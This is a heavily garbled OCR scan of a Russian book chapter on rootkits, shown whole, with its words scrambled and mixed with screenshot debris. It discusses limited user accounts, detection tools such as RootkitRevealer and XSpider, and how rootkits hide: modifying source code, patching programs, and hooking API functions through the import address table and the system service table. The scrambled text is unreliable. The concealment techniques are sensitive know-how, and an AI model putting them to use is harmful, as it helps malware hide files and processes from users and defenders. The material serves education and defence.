й  .  Есл и   ж е  ь   к   п ир о ф ­

м   н и ч ге

о  н е 

в а Гл

2 . 1 . 1 .  С О З АД Н И

Е  У Ч Е Т Н О

а  2.Влзо

м  с  точк

Й  ЗА П И С

и  зрени

И   ОБЫ Ч Н ОГ

я   а д м и н с р ат о

а 

О   П О Л Ь ЗО В А Т Е Л

Я 

ыв р е П м  длое м   е у ад л я м   вс е  плюкод чен и и м о е ту р ы к ,  п о   вы лнед о й   ли н и п о л ь з е яв а т ,  н е  амдин оратс .  Н н иче о й  учнтео й  з апись ю . Имен о т а бо р ь   в   И н ерт .  натчеУ я   з ап и с л д я   об а р т   п о  обслуживан ю   м еы и с т з ан д и я   в еы т с х   си о е д н и й   и  т . п . У м а рг ы   е д бу т   зг а р о д о   н ем ь ш е   в зо м ж н йе тс н еи м и   бо ы ч н го о   п о л ь з в е ла т я   с  вьмсе н е  о т  инме и   м ади н ор т с . 

я   к   И н ер т у : п о  лоакль н о й   и тес ,  .  Плсо е   го т э о   зос еа д м   об ы ч н ог о  а  язы к е   Microsoft  тэ о  н аз ы ваест я   аг ро ­  по д  эот й  учнтео й  з апи сь ю  в ы  и  бтеду е  ь   ам д и н о р а т с а   оа сн т е я   отл ь к о  : н ройаситк ,  аунст овк и   п рог ам , со ­  риакту ,  нротя а   и л и   ш п и он ск й   п ро ­ ,  лсе и   но а   едбу т   з ап ущ ен а   о  т а   ог ран и ч е н ы м и   в о з м ж н о и ся т ,  а 

Н а   чн у т е ю   з ап и с и  в ы  оид н  ртеабо ник и  муго т  уаснт ови л о рпа и  к   унртеИ

а   ж е л а ть н

лсе

л с оП ни м ие с ы т

е   с о з а дн и я  к  Ин ерт

ь   м а ди н о р т с е  з а  кмпоью рет ь  клавиурнт ы

о   п а ов с т и ь   п арол ь о  л и  чоге : даж е  рвосдтен я  тго , чбот ы  уз н ат

. А  т о  мал й  сеиф р  дл

,  ажд ь  ваш

е  ­ и 

.  я   ог ран и ч е н о у  и  оеьтм

й   н ч ут о е , чт о  он

й   з ап и с и  буд

и   з ан ов

о   с о з да й т

т  дпунтсо

е   п л ю окд ч е

ы  други

м   п о л ь з о в ае тл я

­ м 



т и девВ тина рх .я и н е д е в с

ь  дл я о н ут е ч м  ме т с е . {О с е т и т а рб

е  им я  и л о пр а е  в о н с ба п о з е )  мИ

я ял е т ав по з ьл о

й  зс и п а

и щ пвкаи т с о ь  к  пу щвак итсо



и  злыб а

, зшт и п а и  эт  и

е  и 

! • • • • • • •« • • •

е и не д ж рев т доП



W  т ав о з ьл о п с И г о б юл

{ • • • « • • • • •  • •

ь щ и ю су д е л о ял е т а в о  пз ьл о

е  им

я л е т а в о з пьл о

я  и л  по р а

ь  эт о и н е ч ю л  пк д о

V  т и ч ю.В кл

ь э у м ба д н а р

е е и н е ч юл  пк д о р  дл

м  к т е н  Ир е т н

я и н е ч юл к пд о

и и н е ч юл  пк д о

 2.1. еи ан д з Со

р   дл я   соеди н ен и ,  боле е   и н о рф м а т и в н ы й

у  п о и н  уа ч л мо

я  к т е н р Ие т н

 Г   2.10.  о,мн жзВ

ianpe т  и т

~\ 

  в  ссти ем

ь   нуа р Ж

 уст ловена

л  теу кщ и

х   соб ы и т

Р е  жи

в   о б у ч е ни т  н а  зрыакт



 я й   ор п

Па1'ГПЭаТ1Штрз 'ПоИ

 т Т 

, d 

 и

JDjJ 

~3\  j ~ H  Timeoi­* p 

т   н а  зраык т

< аП е

 д

М   С  а И   (Ю »

 рут тик  

•Щ   PortStawner  ­  locathost  Elile  gtjit  Scions  ^ew  & Ш м

ь  N et BIOS с  омени д

к  Remote  Р Г О С В А

е Пак



ODP~™~~~~  \  Г) О т кр ы т

с.Ри

:  еПак

й   ор п

:  11:35:44 

'•  11:44:23 

м  с   es_^ 



й   по р

S3  Н е ОСТУПН  Д

;  15:08:01 

TCP 



х   в не е   10 пе с и

т   н з   рыа з к т

\  15:06:39 

UOP 

1

 пмеуыни ре

еП а к



ш  0N5 

UDP 

е   (w­i  я  почтв ы

:••  Щ   инлдсеоП

*•!  н  кз

о 

е 

е   сз

а  

о в а л с з Ип ь

о 

е   Ю а з б л чо к р о  бмеуриы лко

'(.и  г а  бмеуриы лко

т   i  чинПр

о 

е 

3  Ч аст

 й "юр

S3  нупосНтед

е   Ю м б л н р ос к

  ­ерсод ми ко

' д *  ынеп

S3  Нунпоесдт

Scan.  Сам о  е   н а   емо м   о м пк ь ю е р т е   з ан ля о   б ол е е   30  ми н ут .  Я   н е   в н и ак л  м   тб оа р ы   RootkitRevealer,  н о   в о   врем я   с ак н и р о в а н и я   ом й   Word  о   «зваилс » ­ нольеск о  ра з  п о  нольеск о  суенк д  (3­4). 

о р ы Нт е к

е  рикут ы  пчруя т  сво и  дан ы е  в  альернтиав ы х  паокт х  дан ы х RootkitRevealer учиыт вае т  эт у  взо мжньтс : в  мне ю  Options в ы  мжоте е  вы т аб р ь  опц и ю  сакн и рован и я   н а д мт е ы х  NTFS. Эт а  оп ц и я   м ож е т  дат ь  лож ну ю  туговер , польск у  в  альнреитав ы х  пакот х  хран я т  дан ы е  и  н отек ыр е  анитв рус ы   (н апри ме , то т  ж е  KAV v5).  RootkitRevealer н е  уеадля об н аруж ен , т о  прогам б о сп ы  удален и я  эгот

т  рикыут а   п рл е д а г о  риакту

, а  толь к т   п о л ь з о в аетл

о  обн аруживе ю   п о и с ак т

и  риукт т  их . Есл ь   в   И н ет р т

.  ­ ­ ­  т е 



П ер д   и сп оль з ов ан и е м   п рог ам ы   я   н а с то яе л ь н о   р е ко м е н д у ю   п ро ­ ч и та ь   е е  д о ку м е н та ц и ю ,  ко т р а я   в сег д а   д о с ту п н а   п о   а др е с у   h t t p  :  / /  w w w . s y s i n t e r n a l s . c o m / U t i l i t i e s / R o o t k i t R e v e a l e r . h t m l .  П О НЛ ЫЗ Е

Е  УТ ИЛ

Ы 

ром К е   с ак н е р а   п ортв ,  п олез н о   и м ет ь   п о д   р у ко й   у ти л т у   XSpider  ( h t t p : / / w w w . p t s e c u r i t y . r u / d o w n l o a d / x s 7 d e m o . z i p ) .  Он а   скан и ­ руе т   с и е м у т ,  в ы яв л я   и м ею щ и ес я   в   н е й   у зя в и м о с ти .  И н офр м а ц и я   о б  у зя в и м о с тя х   б е р тс я ,  окн еч н о  ж е , и з   в н утрен е й   б аз ы ,  п отэм у   XSpider  н уж о   р е г у л рян о   о б н о в л т ья .  Правд ,  тэ о   удов ль ств и е   н е   б е с п л а тн о е ,  ак к   и  сам а   п рог ам .  еспБ латн о   м ож н о   с ак ч т ь   то л ь к о   де м о ­ в е р с и ю . А  п о л ь з о в а ть с я   в з ломан ы м и   в ерсимя и   XSpider даж е   и  н е  дум ай те : гд е  га ­ р а н ти я , чт о  крек р   н е  п роп ачт и л   п рог ам у   акт , ч т о  он а   н е  буед т   в и де т ь  и сп оль з уем ы е   и м   р у т ки ы ?  49 

R o o t K i t s 

JSJitl 

l A  RootlcttRevealer  ­ S у  s inter n a b :  w w w . s y i m t Cf nah.c 

; . ! ­ V ^ _ 

a"HKLM\SOFTV/ARЈVCi4«es\N«oAACTnn­"eoHemt1  f^HkLMSSUFTwARE\MiciwoffVvA­ido^^^  #HiaM\SQFTWARE\OOeC0D8CWST.INl\CerYww  de p6g.na de cydtso MS"3F30>'""'­"" ­ ™ — • « « ­ ; C.tKt:'.»/)  H,:LMNS0F

'^

! 2 M M S 2 3 2 

'^HKiMSSOF 

тр « »

м  Д  '"> до авлгне [л я  («зл ен ог

Copyright  «1396­2005 

^HKLMVSYS  J|RHKLMVSYS 

нЗх ш о

2rvices\spldSCfg\1%5923922^E384e82FA4eAF72C5XA­J  0  HKLMVSYS Т Е  M\ContiolSe>002\S«vites\Ј ventfociVSviiemi Дичетсп р  сеанс а  с п р а в а  дл я  усалеонг {^HiaM\$YSTEM\C^iol$etM2\$e 

с.Ри

  2.16.  рогП ам

  rkdetect 

HTTP://WWW.INVISIBLETHINGS.ORG 

Я  н етлаьсоян м у  спец и ал ст ак к  раз ли ч н ы Я  сувтое е га о м п ра я  служи ж каТ км

о  рмонекуд ю  питесо ь  эот т  сйта , при н алдеж щ и й   и з в ен с т о ­ у   п о  бьроб е  с  риамкту и  Джоа н   оР в ку т с й .  В ы  н йатед е  та м  о  вспомегльатн ы х  прогам .  е  дортек ы  риоквут , та к  и  мнго ю  сачк т ь  дв е  пгомраы : Patchfinder  и  Klister.  Перва я   п горма а  т   об н аруж и т ь   и рк ы у т , мицодф рую щ и е   пту ь  и сп олн е и я ,  а  вот ­ т  дл я  обн аруж ен и я   D КОМ­икорвут . 

е   н а   отэ у   SVV, санк ирую щ у (ри с.2.18) .  52 

м   сай т

е   в ы   н й ат е д ю   ш ва

е   н ь л об ш е у у   м е и ст

у   с  цьле

ю   и он р м а цф и о н у ю   о п р е дл и т

ю   п рог ам ь   е е   з уя в и м ост

­ и 

в а Гл ел

а  2.Влзо

м  с  точк

и  зрени

я   а д м и н с р ат о

а 

1В Ш  

C:\WINDOWS\S¥5tem32\tmdeKe fix -  try to fix suspected modifications report - generate report

following options are supported: /a verify ALL nodules  l l l l l l 1111" IIIIKII 1 1 1 1  ' " l l l l l l l  *  0886650 I I R I I I l l l i i l  R I 1 I 1 R I I  1 1 1 !  н и щ .,,.  .­. _jaJdiris  IKIII111Bill I I H I i l l l  ' 1 1 1 .  ш Ы тмовбзпАШ ќ K i l li l R I I R I и  1 1 1  ]  :­,AppP4t.• :•   П   Report i ^2 Сн т о е  Ј j Text M Hex .j f  Fftets  ( ; ; Conditions 

* « * « * * * * 

BSSEH 

ќ*ќ*«»» * » * * * * « * *  * • *•   . 

• 

• 

• 



:

*******  illtlll 

• ;• • • :. 

• 

. : 

nniii

***** 

********  *****  * » * * *  * * « • * • * * ***»*«*.*  •  ш и

п 

*'** 

**:****«* 

««м е ш к и  iw* m i n  *  '. ..  •  ш и п 

*******  ***** ********  *****  :­.  :  * * * * «  • '• 

Ж 

Name.  File Ext:  Description  Last Accessed  FHe Created  Last Written: 

*l 



• 

•­

in»»

• * ••  



V B i K r i p t s  Ј 2  Include  * j  Sweep Case 

drvmain.sdb  sdb  File, Compressed  05/14/0210.06:51  05/14/0210:06 51  11/30/01 01 31 44  _Д$/Д4*0^Дй1 х Ј 

P e r n C o M H u n t e r ^ C V M > C O W a ^ u W r a ^ 3 l 9 5 8 0 $ < d r ^ » n , ! d b ( P S 8 8 6 S 2 7  5 Й б ч

с.Ри

  2.20. Прог ам

М   CL 221616  50000  FO0  1Е 0 ) 

  EnCase 

57 

АВ Г Л

  3.  ЕНАМ ОДП

ин зи ж

  К КА  РТА И ТКУ

•  НЕМ ДОП

А  КДО

•  А В Х Е Р П

Т  Н А  УНВОР

•  И Н Е Р Д Е Н В СЕЦОРП

Е  КОД

А  Е  ПЛЕТАВО ЗЬЛО А Т И РК Т У

Я  А  В О ЧЖ У

 Й

С 

•  П"АТЧИНГ НАЕЛТУ •  ИОЛПС КЭ

  Р ОБАЗ

"  Т  И  РИ КТ У

R O O T K I T S 

Т  ИЮАР Г

Т  ВТСЕМ

Е 

вн ос О

й  пицн р

П рог ам ы об ра кт Р уи к т в ы иод л гмар н ы л еж и в  питамя м и н ал аз К л ос с ро ык и т а дн ы о  сбапос уров н ор т к у н ф цк и о н и р о в а н и

3.1. НЕМ ДОП

,  в и   оп редл н ы т  може т а   н е  внре ы й   ок д т  н а  ди ск .  Послнед и . 

п  ртоба

ы  ртки у

а  ­  тэ о  моидакцф я

60 

и  пнаем до

е   м а с а   оп ерац и н а я   ма е и с т ,  прнед аз чен х   ад н ы х   и   в ы до а   оп редл н ы х  пасовытд ь  либ о  дна ы е , либ о  сма у  пумагро е  рзеылуьта , а  те , кырот е  нжун ы  руитк  можн о   п м не до и т ь   и  тадго , кдго а   о н  н е  з агруж е е  ка к  исполнемыя й  фай л  ил и  бибалекот , и   н епвсторд й   о сп б   н аз ы в с ает я   м о в п тх ае р ,  и  м ы   о



  о т м   ч и сл

ы   дл  я   р е з у л ь а от в , чбот . Приче н   в  пьтамя   не м  уж

.  а  ­ , а  о  е  упо ­

ы  он м  про

ь   бы ,  адн ы е   п м оден т я ь   щпо р е   г о ев с .  Но ,  послкь у   реч ь   иед т   о  и   п роц ес в   и  файлов , дан ы е ,  орытк е   п о дм е н я т   ри ук т ,  ­  тэ о  е  ядр а  (сиесмтн ы е  табли ц ы ) . Пмотэ у  м ы  сн ачл а  н емн ог о  пговир м  х   м о ид а кцф и   до к а  н а  диеск , пот м  пбонрде е   ­  о  пвхерта е   н а  е  п оль з оваетля , а  пвхаер т  н а  уровн е  ярд а  оложти м  д о  глва ы   5, пер  д й  я  сбощ у  нидбохемы е  дл я  е е  пон има я  свенд и я  о б  уросйтв е  и  и   рд я а  Windows. 

А  КДО

А 

3 . 1 . 1 .  М О И Д Ф К А Ц И ор т Н ек бО ы ч н н д ои ы х с ори г н ал ь у

,  л и

е   п рог ам н о   т э о   св об нд й  кдо , слегк ю  версию

е   п ч с бе н о и о   расп онтем ы я а  из мен ит . 

Я   И С ХН О Д Г

О   ОК Д

е   р а с п о тн е я е   п рог ам ы ь  ег о  и  вы лож и т

ь  г­ед т

А 

я   в  инсход ы .  В ы   может о  в  Ин ерт

х   ха до к е   ач ск т , вы ад

.  ь  в  з а 

в а Гл

а  ка

к  оа рб

т   вш а у  копи и  сомкпил руе т   е е  н а  сево ы   соб рат ь  пумагро чо н т о   н дерс й   п ол ь з в е ат о ск й   в к а ли ц ф и ,  н о  дл я   огт ь б рат с я  в  тмо , чт о  дела т  пмагро , гдля я  н а  е е  инсходы й  кдо Прогами.ст   А  ровд я й   п ол ь з ве ат ь   вря д  л и  зиамет , чт о к д  добавлен а   у н ф цк и я , оыст люа щ а я   ое­к иак е   и н е р тс ы е и з н в ест ы й   мо т э у   п ол ь з ве ат ю   (н о  хшор о   и з в н ест ы й   рк е у щя ик . 

и  т и к т у р

а 

о  н е  поздреваю щ и

м б е ло П р ыр гок т н дио хыс

а   м и о да ц к ф и   н и дохсг о   д о к а   бноес о   ро с т о   ои ст т   в   ми р е   то о   п гор ма н о   бп ос е ч н и я   (open  source).  В ы   ге­д н ибуд ь   в и елд е   д о к ы   л он к Б а т ?  Д а   щпор е   лн о к Б т   н ап и ь с т ,  че м   н ай т и   ге о  и с е   ы до к .  А  во т   в  мир е   open  source  св е   прогамн е   об есп ч н и е   рас я  в  вид е  индохсы х  ковд . В ы  может  свобнд о  з агруз и т ь  даж е  кдо ы  ярд а   Linux ­  пжолайутс , www. k e r n e l .  org. 

п р о сатн е я ни дохс ы

ь  з агруз и . Чбот

з  жин з

Ни ч г е

н д оы х

й   п ол ь з ве ат м  кмпоью ерт

а  3.Пнме д о

ю   и с х онд к

в  , датсо ­ , чбот ы   раз о ­ , н уж н о  бы т ь  о  в  инсходы й    ад н ы е   н а  н е ­ )  почвыт й 

В а м   а кж е с т я ,  чт о   тэ о   отль к о   те о р и я ?  Сейча с   п ри в ед у   п ри м е р   и з   реаль но й   ж и з н и .  В  2003 гдо у  с  помщ ь ю   п м не до ы   и с х о дн г о   од к а   б ы л и   со км п р о м еи т в а н ы   FTP­серв ы   п тр о е к а   GNU, з ан и маю щ ег о   п ерв о е   м ест ми р е   open  source.  Очте т   о б  эот й   иосрт и   в ы   может   п р о ч и та ь   п о   рес ад h t t p : / / w w w . c e r t . o r g / a d v i s o r i e s / C A ­ 2 0 0 3 ­ 2 1 . h t m l . 

3 . 1 . 2 .  ПАТЧИН таП ч  (зпалт в   н с во у и с во н т  ыньлети оп д уб ю  пумарго щус в ю т е щ и е з аг руж л ю л к с ч д и п от о н   н е  з априет тэ и   а йф л и т ем , польск о н  сжоме ыр х  слхучая ь ог ат д ся ш о а и бк м ж каТ ц ки м п аг ро

)  ­  тэ о  саньлицеп

­ ­ о  в  у 

 Г

я  ю  у м а рг о п ,  ремипан и   л и и  е   нкци фу ,  можн о   п р о ча т и ь   лю ­ , добави в   в  не е  доплн иеть н ы е   у н ф цк и и   и л и   и з м ен и в   уж е  .  Напри ме , мжон о  пчпортаи ь   IE тка , чбот ы  о н   пеостн о    и з   И н е рт а   ал ь ост н ы е   чтса и  риакту ,  а к к  толь к о   п о л ь з о в еа лт ь  я  к  Иу тнер . Джа е  елс и  н а  кьпюрмео т е  унаевлотс н  брнаэумд ,  т   ед й в с т и я   Internet  Explorer,  полськ у   е бду т   «дьумат»,   чт о  ы   с ак ч и в а е т   а с м   п о л ь з о в а те л ь .  П оль з ов ател ь   ж е   н и ч ег о   н е   за ­ у  оальстн ы е  фунцк и и   б зуар е а  буд т  рабто ь  ка к  обы чн о :  т  просмиатв ь  Web­срантиц ы , з ахиодт ь  н а  FTP и  т . п . В  н отек ­ , елс и  пгорма а  пчпорнета а  н еправиль н о , п оль з оваетл ь  мжое  т ,  чт о  пиордтхс ,  п о  знматео у   «тжморнеию »  брауз е а   ил и   п о    пр и  з апуск е  и  з аверш н и и  рыбтао . 

е   п ч ат и н й   п рог ам ы Н ап ри м е

­ и  ­ ­ е 

г   ж ом е ы   ил ,  лсе

т   и сп ол ь з в ат с .  Очен ь   ч тса и  ж е  получен и и   п р и   з ап уск

я  пам рго ,  яевларпси .  ичткесроТ

о   ч пта я   иак х­л и б е   п мгаор

я   дл и   и сп ол ь з ую с т

, карот т   пщ ноу е ы д

я   и з м ен и о  доп лн иеть н ы а   те п вор я

я  висно

т  инемиз е   к б иш о

я   с у щ в ею т щ и я   д л я   у да л е н и

х   унф я   з ащ и т х   в о з м ж н ое сй т

,  з ареги ст рован

­ ы 

а   но

.   а 61 

RootKits 

ил и  нте д г е св

, мжон

о  пропчати

а  воз вращ л

В  компь ю ернты ел ьт н ы в чтсе

х   и а гр х   в о з м ж н ое сй т а  дне

С о пг н и ч т а в ти он а с у

ь  е е  тка » полжиеьт н ы

а   «нхрвеа х  пчта ,  н паирме

, чбо т

ы  фунцк и я

и  чтса

м  мн жо о  бяьстор ь   н а   е т ю ьп м к о ю   сум у

о  исполь з ую ст ,  «б»иятмрсе

. И  свтс дер

о  днчо та со

о   н и ь аход т с х   ал ог в т к й   айф о   ла го в т п к д р  билокруе и  в ы  уанст вли ает з  нжендаго о   р а з о бь т с я



я  доп лн и о   о кл и

­ ­

о  пеотср

ы  реви з о р  бы е  бы л и  пропчатен ы . Тдго а  поль з

л  уанстовле е  файлы ы  о т  нге

В  Windows етс ь  сво й ы шн т а т , н о  вреодн с а я   п рог ам чи т   п р и в л е г и и   ма д и н о р т с уа сн т о в и ь   п о р с нт и й   рев и з о об н аруж и т ь  и  олкют ч иьт . 

.  аВ

м  нн жу о  р   вы ч и сли т   CRC  х   с и с те м н о ­ в а ж н ы х :  х   ресурсов ,  б о ­ т   е е  в  св о ю  б аз у   да н ­ я   ег о   к о н т р о л ь н а  я

я   в   п т ам я и   и   о нк р т л и о в а т ь   ре дос ­ .  аК к   олть к о   ­аяк т о   п рог ам а   ч ео х  т л   (ка к   правило ,  тэ о   айф л ы   и з   а л т о гк в  ,  а   жакт е   ай л ф ы   а л т о гк в   Program  т  эт у  пмагро у  и  спраш ивае т  у  вса ,  е  пумарго , в  корт й  в ы  увер ­ о  ичонтс аик , мжтое е  раз реш и т ь  уунавкотс ,  ,  дукто а   т э а  прогам а   п рон и л к а   в 

р о мК е   реж и м а   м о н и от р а   у  соврем н ы В   э то м   р е ж и м е   реви з о р   н е   н а х о д и тс ресу ы ,  а  з ап ускает я   п о  ваш ем у   рт е б о в а н и ка о г ­ л и б о   с и те м н о ­ в а ж н о г о   а йф л н е   с а н кц и о н и р о в а н о   в ам и ,  в ы   может з ерв н о й   ок п и и   и л и   д и с тр б у ти в а ,  в с о тв е тс в у ю щ и е   и з мен ен и я   в   св о ю н а до е т ь   в ам . 

62 

я  дл я  получ ен и ,  н еогра ичен ог

р   ­умаргоп рвоеиз .  Р е в и з о )  все х   афй л о в   (то ч н е ,  все ь   во бщ е   вс е   аф й л ы ,  т о   с и те м н ы )  н а   ваш е м   ж е с т ко м   ди с к е   и  з а п и ш е и   и з мен и т ь   о ди н   б а й т   а йф л а ,  и з м е н и тс

Рев и з о р   мж о е т   нп о с я т ж и мо е   с и е м тн о ­ в а ж н ы м оид ц ф р о в а т ь   с и е м нт ы %WINDIR%  и   есв х   ге Files н а  вес х  ди сакх) , ревиз о чт о  делат ь  даль ш е . Елс ны , чт о  он а  получен а  и в  пиротвн м   сл уч а е   н жу ш ва у  суме тис . 

в ог

я  з а  пу крвео . 

г  и  т . д . 

(ко н тр о л ь н у есл и   ко н тр о л и р о в а т ю сь , н е  х в а ти ных . Д а ж е   есл сум а . 

В жа н о , чбот ме ис т е  уж св е  в  педкоря

, овечтаю щ а й   з е р т ьал у

й  рвеиоз а  з н еа

х   рев и з ор я   п о с т ня

в   ест ь   реж и м   с ак н е р а .  о   в   п а м ят и ,  о тн и м а  я ю   и  бь е т  тревогу ,  есл и   CRC  а   и з м ен и лась .  Есл и   тэ о   и з м е н и е  е   п е р у с ат н о в и т ь   о т э т   а йф л   и з   ре ­   п р о ит в н о м   случ а е   рев и з о р   в н ес  т   б аз у   да н ы х ,  и   б о л ь ш е   н е   б у де  т

н  н а  индохс , ревиз о о  беду т  ннмего

о  «чюу тис р  беду . 

р  ­  жублс а  з ащ иыт т  о  не м  и  мжое т  олюкт ч иьт .  мотэП у   ом ен р к с у т д ,  ыротк й   п рог ам ­п ч ат е

» сумеитс т  счьиат  файло

. Елс и  в  , чт о  с  н им и  в  и  калто , есл и   пуло

я   до п л н и е т л ь н р   н е   жм ос е

­ ­  о  т

л а вГ

3.2. ПА В Х Е Р

Т  Н А  УНВОР

О С  Windows приусмедатв п ри л ож ен и я м   б о щ ь т ас р н об а ы  фунцк и й  н аз ы вю ст

а  3.П о д м е н

Е  ПЛЕТАВО ЗЬ ЛО

а   ак

к   об ра

з   и жз н

и   р у т ки т

а 

Я 

т  снатрыд

я  с  апуройат

е  нрбоа ы  фун цк и й , поз вюля щ и х  , поль з еват м   и  дру г  с  другом . Эт и  я  API (Applications  Programmer's  Interface). 

о р втА в   и о к рт у в   бноес о   и е у сн р т т   Native  API  ­  ей инерфт н и е ж п л ро м  и  смаб лжу и   р яд а  онцоиарпе й   ы м е т си .  Обы ч н ы ж ен и я  вы з вюа т  фунцк и и  Native API чер з  API блео е  вы огск ик е  ка к  Win32 API ил и   POSIX, н о  крек у   н жу а  боль ш а я   г и ьобс т к

с   м де ж е   п ри л о

у  ­ , та ­

о  уровн я . 

Имен н ем мня у

а  фун кц и й  и з  Native API  н ач и н аю тс я   с  п р еиф кс а   «Nt», и  и м ен о  к  у  о тн о с и т я  фун кц и я  NtQuerySystemlnf  ormation,  кот ру ю  я  у п о ­ и   э кс п о р т и у е т   б и л и о те к а   NTDLL.DLL,  л   в   п .  1.6.2.  Эт и   уфн кц и а   оп и сан и е   и х   м ож н о   н ай т и   у   Марк а   Рус и н ов и ч а   п о   а др е с у   h t t p :  / /  w w w . s y s i n t e r n a l s . c o m / 1 n f o r m a t i o n / N a t i v e A p i . h t m l .  О иф ц и а л ь ­ н а я   (о т   Microsoft)  сп рав к а   п о   н е ко т р ы м   и з   н и х   н а х о д и тс я   в   Windows  NT  Device  Driver  Kit  (DDK),  о  котр м   м ы   п ог в ори м   в  гл . 5.  гд о К а   п ри лож ен и NTDLL  негиур р а бы т в с е я   ч бо ар т и к мор т к у   с теа дп р нЗ а ч и т ,  лсе и   ерк п ол н и т ь   в небос т ы н ы й  доуст п  к о  вес

е   в   поль з оваетль оск т   п г о рм а н

е   в ы з ы в ае т   Nt­фун кц и ю ,  е   0х2Е .  Эт о   преы ван и е   бо ­ м   п ре ы в ан и й   уров н я   дря а   KiSystemService,  я   и н ке д с  фунцк и и   в  таблиц е   KiSystemServiceTable.  р   н у с п ед о т   в  эт у  тбалиц у   л ож н ы й   сер да , о н   мсжое т   вы ­ й   о к д   в  режим е   ра д я ,  пюарвоесдтля щ е м   н еог ра и ч ен ­ м  сиемнсты м  рмасруе . 

ПРИМЕЧ АН ИЕ

а н ичаН ци укрснит

м   реж и м

е   п ре ы в ан и



я   с  Windows  2000,  вм ест я  ­  SYSENTER дл я  порцес

о   ы ри е в н а п

я   INT  0х2 Е   высолпяетн в  Intel ил и  SYSCALLftrm процес ор

я   а нл и е ц с п ь

 я в  AMD. 

Н о  эт о  я  з а б е ж а л   в п ер д , а  п ок а   м ы  г ов ри м   о  п е р х в а т е   API­фу н к ц и й ,  в ы п о л н яю щ и х с я   ц е л и ко м   н а   п о л ь з о в а те л ь с ко м   уров н е ,  т о   е с т ь   уфн к ­ ц и й   и з   б и б л и о те к   KERNEL32.DLL,  USER32.DLL,  GUI32.DLL  и   AD­ VAPI.DLL.  Эт и   уф н кц и и   в ы з ы в а ю тс я   и з   п ри лож ен и й   t a s k m g r . e x e  (Д и с п е тч е р   з ад ч   Windows),  e x p l o r e r . e x e  (П р о в о д н и к   Windows)  и  r e g e d i t . e x e  (Р е д а к т о р   р е с тр а ) ,  ко т р ы е   з а п у с ка е т   п о л ь з о в а те л ь ,  ж ела я   п р о с м о тр е ь   сп и со к   п роц ес ов ,  аф й л о в   и   кл ю ч е й   р е с тр а .  В о  т и   с де л а е м   так ,  ч то б ы   ет х   п р о ц е с о в ,  аф й л о в   и   кл ю ч е й ,  ко т р ы е   м ы  х о ти м   с п р ят а ь   п р и   п ом щ и   р у тки а ,  о н   н е   у в и де л .  Д и ост ч

ь  эгот

о  можн

о  двум

я  смибаопс

• 

н ме п д о

й  сома

й   API­фунцк и

• 

н ме п д о

й  дан ы х

, оыбтарвме

:  ;  х   API­фун цк и ей

.  63 

RootKits 

В  пворе

м  счлуа е  логи к а  патсор : м ы  пиш е м  сов й  ан ало г  API­фун цк и , пер ы вх та е м  вы з о в  индохс й  API­фунцк и и  и  втсме о  не е  з апеуск м  сво ю  фун ц ки ю . Наш а  фун кц и я   в ы з в ае т  индохсу ю  фунцк и ю , получае т  е е  рзельута «п орит »  ег о   и   п ер да т   в   в ы з ы в аю щ у ю   п рог ам у .  П усть ,  н а п р и м е р и с х он д а я   у н ф цк и я   в оз ращ л а   пси о к   а й л фо в   в   на д о м   а лт ко г е .  дгоТ н ша а  фун кц и я   п вор и е т , етс ь  л и  в  эот м  списк е  файлы , корты е  м ы  сбоиар мсе я  срык ьт , и , елс и  еьтс , уадли т  и х  и з  спикс а  и  внре т   м оид ц ф р о в а н ы пс и о к  в  кчавтсе е  рзеалуьт .  нме дПо API­фун цк и у н ф цк и я о ка К й   пс о п роч ув ст а бо а  спбоса

а  индохсы

х  дан ы ,  «н а  лует

, и  полжрдае б   н же да ь   мас и . 

х  осущ етвля » миоцдф руе м  е е  вы полн е и ,  ока .  оМ

е   е дл

я   и н ч еа

: м ы  перхвыат е , с  корыт м

м   а б л ти ц ы .  й   щ оп р е о   м ла не ь о к

,  гвиорт

ь   н е   н а ут с е   ­  азрскьт

м   вы з о

­ ­ ,  ,   а ­ й 

и   аетрбо

в   эт а 

:  в ы   олджн ,  ак к   реали з оват

ы   тэ о  ь 

Сн ач л а   о   то м ,  ак к   п р о с м о тр е ь   с о де р ж и м о е   б и б л и о те ки .  У   ва с   ест Total  Commander?  Есл и   н ет ,  у с та н о в и т е   его .  О н   в п о с л е д с тв и и   м ож е ва м   п р и г о д и т ь с я .  В ы   у ж е   у с та н о в и л и   его ?  Тогд а   п ер й ди т е   в   ка т л о \system32  и   о ткр й т е   д л я   п р о с м тр а   («F3»)  б и б л и о те к KERNEL32.DLL.  П е р й ди т е   н а   в кл а д к у   Image  File  Header.  З д е с ь   на х о д и тс я   и сч ерп ы в аю щ а я   и н оф р м а ц и я   о   б и б л и о те к .  П р о л и с та й т е   вн из ,  д о   з а г о л в к а   EXPORTS  TABLE.  Эт о   та б л и ц а   э кс п о р та ,  в   н е у ка з а н ы   в с е   уф н к ц и ,  экс п о р ти р у е м ы е   б и б л и о те ко й ,  и   то ч к а   в ход ка ж д о й   уф н к ц и .  П р о л и а сй т

е  таблиц у  эапстрок , пко я   сл уж и т   дл я   в ы д о н ж еио п л р е  вызеав т  ее . Елс и  кола т в оз ращ е т   д е рс ик п о т ,  ыротк й а в х   у н ф цк и и   FindNextFile  (тож жа ы д К й   вы з о в   FindNextFile  взо щар е FindNextFile  вы з всает я   в  ц илк л е нд и й  файл .  тЭ

а   у н ф цк и

а  н е  нтйеад а   ж р е и д о с гм г е сув тщсуе   и сп ол ь з ует е   с п и к о р тэ у е т  оид е  д о  те х  про

ь   т г   у ­ е е  й  а 

е  фунцк и ю   F i n d F i r s t F i l e .  о   ла го т к .  Первы м   ол е д м  т  и  н е  пт с у , т о   FindFirstFile  я   р п и   п о с л у юе д щ и х   вы з о ­ я   и з   KERNEL32.DLL).  н  фай л   и з  калотг .  Обы чн о  , пко а   н е  беду т   вы ед н   с по ­

бо т Ч ы   в о с п л ь з о в аь т с я   и тм э и   у н фц к и м я ,  приложен и е   в о   в рем я   в ы п ол ­ неи я  з агруж е т   б и л екот у   KERNEL32.DLL  и  кпоиеур т   сер да а   и м п орт ­ ров ан ы х   и з   н е е   у н ф цк и й   в  сво ю   ицлбат у  т р о п м и а   ресоад в   (IAT,  Import  Address  Table).  гдо К а   п ри л ож ен и е   в ы з в еа т   ндо у   и з  API­фун цк и й ,  управ ­ л ен и е   п с е ар тд я   н а   сер да ,  азук н ы й   в   IAT  Плсо е   з ав ерш н и е   у н ф цк и и  в ы п ол н е и е   п рог ам ы   п ро л д ж с а е т я   с  и н срцтук и ,  юудлес щ е й   з а   вы з о ­ ов м  фун цк и .  64 

в а Гл 1 й   l«ter (Мо Г и е й Фа

п  

) ­ K\WI№ 0W5\»ystem3^k«rte*».  29Л Й / 200

2  12:15:02 

UO0 

